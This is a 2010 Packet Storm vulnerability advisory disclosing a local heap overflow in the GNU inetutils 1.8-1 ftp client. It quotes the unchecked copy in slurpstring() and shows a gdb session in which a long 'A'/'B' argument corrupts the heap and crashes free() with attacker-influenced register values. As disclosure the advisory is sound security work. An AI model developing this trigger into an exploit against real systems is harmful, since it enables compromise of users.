GNU inetutils 1.8-1 FTP Client Heap Overflow

Type packetstorm
Reporter Rew
Modified 2010-12-07T00:00:00


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Hash: SHA1  
Title: GNU inetutils 1.8-1 ftp client Heap Overflow  
Date: Dec 07 2010  
Author: Rew  
Software Link:  
Version: 1.8-1  
Tested on: Arch Linux (up to date)  
CVE: NA (0day)  
Here's a cute little bug just for kicks. This is only triggerable by  
the local user, so exploitation would get you absolutely nowhere, but  
meh :P  
GNU inetutils ftp (shipped with linux and other *nix's) suffers a heap  
overflow while parsing command arguments (but ONLY when the argument is  
NOT passed on the same line.) If you run any command (open, user, cd,  
mkdir, etc) without an argument, ftp will prompt you for an argument  
with readline(). It will then copy this input into a 200 byte buffer  
without first checking it's length. NOTE: Some distros might modify  
this binary. It didn't seem to work on the default Mint ftp client  
(maybe a Ubuntu thing?) but the default Arch binary is vulnerable. Your  
results may vary. Download from GNU if you have doubts.  
- --- ftp/main.c:slurpstring() ---  
406: char *sb = stringbase; <--- This is our input. (can be massive)  
407: char *ap = argbase; <--- This buffer is 200 bytes.  
458: S1:  
463: case '\0':  
464: goto OUT;  
474: default:  
475: *ap++ = *sb++; <--- Heap overflow  
476: got_one = 1;  
477: goto S1;  
478: }  
- --------------------------------  
backtrace at overflow:  
The segfault below occurs later, when free() is called on an overwritten  
pointer @ 684 bytes.  
rew@WOPR ~ $ pacman -Q inetutils  
inetutils 1.8-1  
rew@WOPR ~ $ gdb ftp  
GNU gdb (GDB) 7.2  
Copyright (C) 2010 Free Software Foundation, Inc.  
License GPLv3+: GNU GPL version 3 or later  
This is free software: you are free to change and redistribute it.  
There is NO WARRANTY, to the extent permitted by law. Type "show copying"  
and "show warranty" for details.  
This GDB was configured as "i686-pc-linux-gnu".  
Reading symbols from /usr/bin/ftp...(no debugging symbols found)...done.  
(gdb) run  
Starting program: /usr/bin/ftp  
ftp> open  
(to) AAAAAAAA ... [x684] ... AAAAAAAABBBB  
usage: open host-name [port]  
Program received signal SIGSEGV, Segmentation fault.  
0xb7eb8dc1 in free () from /lib/  
(gdb) i r  
eax 0x0 0  
ecx 0x1 1  
edx 0x42424239 1111638329  
ebx 0xb7f8fff4 -1208418316  
esp 0xbffff818 0xbffff818  
ebp 0xbffff828 0xbffff828  
esi 0x8064518 134628632  
edi 0x8064be0 134630368  
eip 0xb7eb8dc1 0xb7eb8dc1 <free+49>  
eflags 0x210216 [ PF AF IF RF ID ]  
cs 0x73 115  
ss 0x7b 123  
ds 0x7b 123  
es 0x7b 123  
fs 0x0 0  
gs 0x33 51  
Version: GnuPG v1.4.11 (GNU/Linux)  
Comment: Using GnuPG with Mozilla -